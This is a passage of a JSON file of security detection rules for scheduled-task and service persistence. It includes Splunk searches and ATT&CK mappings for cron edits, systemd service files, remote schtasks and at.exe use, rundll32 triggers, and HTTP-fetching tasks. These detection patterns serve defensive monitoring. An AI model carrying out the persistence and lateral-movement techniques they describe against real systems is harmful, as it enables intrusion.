"Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Possible Cronjob Modification With Editor", - "description": "The following analytic detects potential unauthorized modifications to Linux cronjobs using text editors like \"nano,\" \"vi,\" or \"vim.\" It identifies this activity by monitoring command-line executions that interact with cronjob configuration paths. This behavior is significant for a SOC as it may indicate attempts at privilege escalation or establishing persistent access. If confirmed malicious, the impact could be severe, allowing attackers to execute damaging actions such as data theft, system sabotage, or further network penetration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN(\"nano\",\"vim.basic\") OR Processes.process IN (\"*nano *\", \"*vi *\", \"*vim *\")) AND Processes.process IN(\"*/etc/cron*\", \"*/var/spool/cron/*\", \"*/etc/anacrontab*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_cronjob_modification_with_editor_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may modify cronjob file using editor in $dest$", - "risk_score": 6, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Service File Created In Systemd Directory", - "description": "The following analytic detects the creation of suspicious service files within the systemd directories on Linux platforms. It leverages logs containing file name, file path, and process GUID data from endpoints. This activity is significant for a SOC as it may indicate an adversary attempting to establish persistence on a compromised host. If confirmed malicious, this could lead to system compromise or data exfiltration, allowing attackers to maintain control over the system and execute further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name = *.service Filesystem.file_path IN (\"*/etc/systemd/system*\", \"*/lib/systemd/system*\", \"*/usr/lib/systemd/system*\", \"*/run/systemd/system*\", \"*~/.config/systemd/*\", \"*~/.local/share/systemd/*\",\"*/etc/systemd/user*\", \"*/lib/systemd/user*\", \"*/usr/lib/systemd/user*\", \"*/run/systemd/user*\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_service_file_created_in_systemd_directory_filter`", - "tags": { - "analytic_story": [ - "Gomir", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A service file named as $file_path$ is created in systemd folder on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.006", - "mitre_attack_technique": "Systemd Timers", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Service Restarted", - "description": "The following analytic detects the restarting or re-enabling of services on Linux systems using the `systemctl` or `service` commands. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line execution logs. This activity is significant as adversaries may use it to maintain persistence or execute unauthorized actions. If confirmed malicious, this behavior could lead to repeated execution of malicious payloads, unauthorized access, or data destruction. Security analysts should investigate these events to mitigate risks and prevent further compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN (\"systemctl\", \"service\") OR Processes.process IN (\"*systemctl *\", \"*service *\")) Processes.process IN (\"*restart*\", \"*reload*\", \"*reenable*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_service_restarted_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction", - "Gomir", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may create or start a service on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.006", - "mitre_attack_technique": "Systemd Timers", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Service Started Or Enabled", - "description": "The following analytic detects the creation or enabling of services on Linux platforms using the systemctl or service tools. It leverages Endpoint Detection and Response (EDR) logs, focusing on process names, parent processes, and command-line executions. This activity is significant as adversaries may create or modify services to maintain persistence or execute malicious payloads. If confirmed malicious, this behavior could lead to persistent access, data theft, ransomware deployment, or other damaging outcomes. Monitoring and investigating such activities are crucial for maintaining the security and integrity of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN (\"systemctl\", \"service\") OR Processes.process IN (\"*systemctl *\", \"*service *\")) Processes.process IN (\"* start *\", \"* enable *\") AND NOT (Processes.os=\"Microsoft Windows\" OR Processes.vendor_product=\"Microsoft Windows\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_service_started_or_enabled_filter`", - "tags": { - "analytic_story": [ - "Gomir", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that may create or start a service on $dest", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.006", - "mitre_attack_technique": "Systemd Timers", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Randomly Generated Scheduled Task Name", - "description": "The following analytic detects the creation of a Scheduled Task with a high entropy, randomly generated name, leveraging Event ID 4698. It uses the `ut_shannon` function from the URL ToolBox Splunk application to measure the entropy of the Task Name. This activity is significant as adversaries often use randomly named Scheduled Tasks for lateral movement and remote code execution, employing tools like Impacket or CrackMapExec. If confirmed malicious, this could allow attackers to execute arbitrary code remotely, potentially leading to further compromise and persistence within the network.", - "search": " `wineventlog_security` EventCode=4698 | xmlkv Message | lookup ut_shannon_lookup word as Task_Name | where ut_shannon > 3 | table _time, dest, Task_Name, ut_shannon, Command, Author, Enabled, Hidden | `randomly_generated_scheduled_task_name_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-257A", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A windows scheduled task with a suspicious task name was created on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Schedule Task with HTTP Command Arguments", - "description": "The following analytic detects the creation of scheduled tasks on Windows systems that include HTTP command arguments, using Windows Security EventCode 4698. It identifies tasks registered via schtasks.exe or TaskService with HTTP in their command arguments. This behavior is significant as it often indicates malware activity or the use of Living off the Land binaries (lolbins) to download additional payloads. If confirmed malicious, this activity could lead to data exfiltration, malware propagation, or unauthorized access to sensitive information, necessitating immediate investigation and mitigation.", - "search": "`wineventlog_security` EventCode=4698 | xmlkv Message| search Arguments IN (\"*http*\") | stats count min(_time) as firstTime max(_time) as lastTime by dest, Task_Name, Command, Author, Enabled, Hidden, Arguments | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schedule_task_with_http_command_arguments_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Scheduled Tasks", - "Windows Persistence Techniques", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A schedule task process commandline arguments $Arguments$ with http string on it in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Schedule Task with Rundll32 Command Trigger", - "description": "The following analytic detects the creation of scheduled tasks in Windows that use the rundll32 command. It leverages Windows Security EventCode 4698, which logs the creation of scheduled tasks, and filters for tasks executed via rundll32. This activity is significant as it is a common technique used by malware, such as TrickBot, to persist in an environment or deliver additional payloads. If confirmed malicious, this could lead to data theft, ransomware deployment, or other damaging outcomes. Immediate investigation and mitigation are crucial to prevent further compromise.", - "search": "`wineventlog_security` EventCode=4698 | xmlkv Message | search Command IN (\"*rundll32*\") | stats count min(_time) as firstTime max(_time) as lastTime by dest, Task_Name, Command, Author, Enabled, Hidden, Arguments | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schedule_task_with_rundll32_command_trigger_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Scheduled Tasks", - "Trickbot", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A schedule task process commandline rundll32 arguments $Arguments$ in host $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Scheduled Task Creation on Remote Endpoint using At", - "description": "The following analytic detects the creation of scheduled tasks on remote Windows endpoints using the at.exe command. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process creation events involving at.exe with remote command-line arguments. Identifying this activity is significant for a SOC as it may indicate lateral movement or remote code execution attempts by an attacker. If confirmed malicious, this activity could lead to unauthorized access, persistence, or execution of malicious code, potentially resulting in data theft or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=at.exe OR Processes.original_file_name=at.exe) (Processes.process=*\\\\\\\\*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `scheduled_task_creation_on_remote_endpoint_using_at_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Scheduled Task was created on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.002", - "mitre_attack_technique": "At", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "BRONZE BUTLER", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "Scheduled Task Deleted Or Created via CMD", - "description": "The following analytic identifies the creation or deletion of scheduled tasks using the schtasks.exe utility with the -create or -delete flags. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it can indicate unauthorized system manipulation or malicious intent, often associated with threat actors like Dragonfly and incidents such as the SUNBURST attack. If confirmed malicious, this activity could allow attackers to execute code, escalate privileges, or persist within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe (Processes.process=*delete* OR Processes.process=*create*) by Processes.user Processes.process_name Processes.parent_process_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `scheduled_task_deleted_or_created_via_cmd_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "AsyncRAT", - "Azorult", - "CISA AA22-257A", - "CISA AA23-347A", - "DHS Report TA18-074A", - "DarkCrystal RAT", - "Living Off The Land", - "NOBELIUM Group", - "NjRAT", - "Phemedrone Stealer", - "Prestige Ransomware", - "Qakbot", - "RedLine Stealer", - "Rhysida Ransomware", - "Sandworm Tools", - "Scheduled Tasks", - "Trickbot", - "Windows Persistence Techniques", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A schedule task process $process_name$ with create or delete commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Scheduled Task Initiation on Remote Endpoint", - "description": "The following analytic detects the use of 'schtasks.exe' to start a Scheduled Task on a remote endpoint. This detection leverages Endpoint Detection and Response (EDR) data, focusing on process details such as process name, parent process, and command-line executions. This activity is significant as adversaries often abuse Task Scheduler for lateral movement and remote code execution. If confirmed malicious, this behavior could allow attackers to execute arbitrary code remotely, potentially leading to further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=schtasks.exe OR Processes.original_file_name=schtasks.exe) (Processes.process=*/s* AND Processes.process=*/run*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `scheduled_task_initiation_on_remote_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Scheduled Task was ran on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Schtasks Run Task On Demand", - "description": "The following analytic detects the execution of a Windows Scheduled Task on demand via the shell or command line. It leverages process-related data, including process name, parent process, and command-line executions, sourced from endpoint logs. The detection focuses on 'schtasks.exe' with an associated 'run' command. This activity is significant as adversaries often use it to force the execution of their created Scheduled Tasks for persistent access or lateral movement within a compromised machine. If confirmed malicious, this could allow attackers to maintain persistence or move laterally within the network, potentially leading to further compromise.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"schtasks.exe\" Processes.process = \"*/run*\" by Processes.process_name Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schtasks_run_task_on_demand_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Data Destruction", - "Industroyer2", - "Qakbot", - "Scheduled Tasks", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A \"on demand\" execution of schedule task process $process_name$ using commandline $process$ in host $dest$", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Schtasks scheduling job on remote system", - "description": "The following analytic detects the use of 'schtasks.exe' to create a scheduled task on a remote system, indicating potential lateral movement or remote code execution. It leverages process data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line arguments and flags. This activity is significant as it may signify an adversary's attempt to persist or execute code remotely. If confirmed malicious, this could allow attackers to maintain access, execute arbitrary commands, or further infiltrate the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = schtasks.exe OR Processes.original_file_name=schtasks.exe) (Processes.process=\"*/create*\" AND Processes.process=\"*/s*\") by Processes.process_name Processes.process Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schtasks_scheduling_job_on_remote_system_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "NOBELIUM Group", - "Phemedrone Stealer", - "Prestige Ransomware", - "RedLine Stealer", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A schedule task process $process_name$ with remote job command-line $process$ in host $dest$ by $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Schtasks used for forcing a reboot", - "description": "The following analytic detects the use of 'schtasks.exe' to schedule forced system reboots using the 'shutdown' and '/create' flags. It leverages endpoint process data to identify instances where these specific command-line arguments are used. This activity is significant because it may indicate an adversary attempting to disrupt operations or force a reboot to execute further malicious actions. If confirmed malicious, this could lead to system downtime, potential data loss, and provide an attacker with an opportunity to execute additional payloads or evade detection.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe Processes.process=\"*shutdown*\" Processes.process=\"*/create *\" by Processes.process_name Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schtasks_used_for_forcing_a_reboot_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Scheduled Tasks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A schedule task process $process_name$ with force reboot commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Suspicious Scheduled Task from Public Directory", - "description": "The following analytic identifies the creation of scheduled tasks that execute binaries or scripts from public directories, such as users\\public, \\programdata\\, or \\windows\\temp, using schtasks.exe with the /create command. It leverages Sysmon Event ID 1 data to detect this behavior. This activity is significant because it often indicates an attempt to maintain persistence or execute malicious scripts, which are common tactics in malware deployment. If confirmed as malicious, this could lead to data compromise, unauthorized access, and potential lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe (Processes.process=*\\\\users\\\\public\\\\* OR Processes.process=*\\\\programdata\\\\* OR Processes.process=*windows\\\\temp*) Processes.process=*/create* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `suspicious_scheduled_task_from_public_directory_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Living Off The Land", - "Ransomware", - "Ryuk Ransomware", - "Scheduled Tasks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious scheduled task registered on $dest$ from 